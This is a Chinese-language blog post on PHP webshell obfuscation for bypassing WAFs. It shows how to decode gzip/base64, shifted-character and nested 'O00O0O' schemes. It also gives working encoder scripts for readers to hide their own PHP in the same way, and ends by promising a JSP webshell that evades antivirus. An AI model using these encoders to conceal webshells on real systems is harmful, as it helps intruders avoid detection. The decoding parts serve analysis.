0# 概述
在Web渗透攻防的情况下,很多时候在前期打点,需要对Webshell进行各种免杀操作来过Waf或者防止防守方的觉察。
这时候,各种PHP的加密算法层出不穷,都是将PHP的执行语句,通过加密的方式内嵌在文件当中,来做到“瞒天过海”。
刚好最近碰到了一个PHP文件,用了两种畸形的加密方式,看了一眼网上好像也没好的文章讲讲怎么分析的,这里就带大家重温一下这两种加密的解密方式。
1# 简单的Gzip+Base64加密
这种加密方法网上到处都是,算是最简单的,本来不想写的
但和我今天讲的两个主要内容有点相似,这里就提一嘴吧
一个简单的样例如下:
<?php /*Protected by AabyssZG*/
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));
?>
1.1 解密方法
将代码主题内容放入 $a
中,再访问并执行该PHP即可
<?php
//放入已经加密的PHP内容
$a = "eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));";
function decodephp($a)
{
$max_level = 300; //最大层数
for ($i = 0; $i < $max_level; $i++) {
ob_start();
eval(str_replace('eval', 'echo', $a));
$a = ob_get_clean();
if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
return $a;
}
}
}
//这里注意要加htmlspecialchars,我看好多文章没写
echo htmlspecialchars(decodephp($a));
?>
1.2 加密方法
我们先新建一个PHP文件,名字为 phpinfo.php
,里面放上你想要执行的代码,比如:
<?php
echo phpinfo();
?>
然后我们再新建一个PHP文件,名字为 encipher.php
,放入以下代码并保存:
<?php
function encode_file_contents($filename) {
$type=strtolower(substr(strrchr($filename,'.'),1));
if('php'==$type && is_file($filename) && is_writable($filename)) {
// 如果是PHP文件 并且可写 则进行压缩编码
$contents = file_get_contents($filename);
// 判断文件是否已经被编码处理
$pos = strpos($contents,'/*Protected by AabyssZG*/');
if(false === $pos || $pos>100) {
// 去除PHP文件注释和空白,减少文件大小
$contents = php_strip_whitespace($filename);
// 去除PHP头部和尾部标识
$headerPos = strpos($contents,'<?php');
$footerPos = strrpos($contents,'?>');
$contents = substr($contents,$headerPos+5,$footerPos-$headerPos);
$encode = base64_encode(gzdeflate($contents));
// 开始编码
$encode = '<?php'." /*Protected by AabyssZG*/\neval(gzinflate(base64_decode('".$encode."'))); \n?>";
return file_put_contents($filename,$encode);
}
}
return false;
}
//调用函数
$filename='phpinfo.php';
//这里填入需要加密的原始PHP文件名
encode_file_contents($filename);
?>
然后再运行PHP环境,访问并执行 encipher.php
成功后是没有回显的,但是 phpinfo.php
里面的内容已经被加密了,自行查看即可
2# 进阶的Gzip+Base64加密
这是上一种加密的进阶版,主要表现在有个循环,看代码:
<?php
function iJG($BHM) {
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>
这是一个混淆加密的PHP WebShell,让我们看看如何解密
2.1 解密方法
由以上代码可以看出,这是先将 U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A
Base64解密后进行Gzip处理,再将解密后的值膨胀,最后经过for循环,return出 $BHM
这个结果
但是做信安这块,一定要学会逆向思维
既然 eval
函数是执行php代码的函数,接收了最终解密的代码并执行,那我直接从这里切入呗:
<?php
function iJG($BHM) {
$BHM=gzinflate(base64_decode($BHM));
for($i=0;$i<strlen($BHM);$i++) {
$BHM[$i] = chr(ord($BHM[$i])-1);
}
return $BHM;
} echo(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>
将 eval
函数 改为 echo
就可以把解密后的PHP代码回显出来了
3# o00o0o嵌套加密
我第一次看到这种加密,应该是在一两年前,当时看到真的头痛,这种根本不能手动解密(在实际情况中遇到过上百行的这种嵌套加密方式),来看看一个简单的样例吧:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
3.1 解密方法
因为里面参数众多,而我们要先看重要参数里面到底有什么:
目光来到 eval
代码里面,因为最终解密的代码将带入里面执行
所以关键就在 $O00O0O
这个里面,那老方法echo出来:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O;
?>
原来 $O00O0O
是 base64_decode
Base64解码函数啊哈哈,那我直接把最后一行拉出来,把 eval($O00O0O
改为 echo(base64_decode
:
<?php
echo(base64_decode("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
可以看到,第一阶段解密并回显成功了,但还有加密的PHP代码片段:
$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
这时候别慌,因为看到这个代码存在好多原来文件的参数,于是再将这段代码带入到原来的文件中,如下:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
?>
然后还是老办法,将 eval
函数换成 echo
即可,这里记得一定要加上 htmlspecialchars
,不然代码直接就执行了,看不到解密后的源码了:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4=";
echo htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
?>
成功解密并回显
3.2 加密方法
那有些师傅就想问,那我想要这种的加密怎么办呢?
老样子,我们先新建一个PHP文件,名字为 phpinfo.php
,里面放上你想要执行的代码,比如:
<?php
echo phpinfo();
?>
然后我们再新建一个PHP文件,名字为 encipher.php
,放入以下代码并保存:
<?php
function RandAbc($length=""){//返回随机字符串
$str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
return str_shuffle($str);
}
$filename='phpinfo.php'; //这里填入需要加密的原始PHP文件名
$T_k1=RandAbc();//随机密匙1
$T_k2=RandAbc();//随机密匙2
$vstr=file_get_contents($filename);//要加密的文件
$v1=base64_encode($vstr);
$c=strtr($v1,$T_k1,$T_k2);//根据密匙替换对应字符。
$c=$T_k1.$T_k2.$c;
$q1="O00O0O";
$q2="O0O000";
$q3="O0OO00";
$q4="OO0O00";
$q5="OO0000";
$q6="O00OO0";
$s='$'.$q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.$q1.'=$'.$q6.'{3}.$'.$q6.'{6}.$'.$q6.'{33}.$'.$q6.'{30};$'.$q3.'=$'.$q6.'{33}.$'.$q6.'{10}.$'.$q6.'{24}.$'.$q6.'{10}.$'.$q6.'{24};$'.$q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6.'{7}.$'.$q6.'{13};$'.$q1.'.=$'.$q6.'{22}.$'.$q6.'{36}.$'.$q6.'{29}.$'.$q6.'{26}.$'.$q6.'{30}.$'.$q6.'{32}.$'.$q6.'{35}.$'.$q6.'{26}.$'.$q6.'{30};eval($'.$q1.'("'.base64_encode('$'.$q2.'="'.$c.'";eval(\'?>\'.$'.$q1.'($'.$q3.'($'.$q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'.$q2.',0,$'.$q5.'))));').'"));';
$s='<?php
'.$s.'
?>';
echo $s;
//生成 加密后的PHP文件
$fpp1=fopen('temp'.$filename,'w');
fwrite($fpp1,$s) or die('写文件错误');
?>
然后再运行PHP环境,访问并执行 encipher.php
接下来就会在同目录里面生成一个 tempphpinfo.php
这个加密的PHP文件了
4# 总结
- 很多时候,碰到我们不会分析的代码,不要着急,很多时候要学会 “智取”
- 现在依然还有很多通过PHP特性做免杀的方法,要多总结多归纳
- 虽然本篇讲的是PHP,但JSP也同样如此,有时间我可以分享一个VT全绿的JSP马
硬核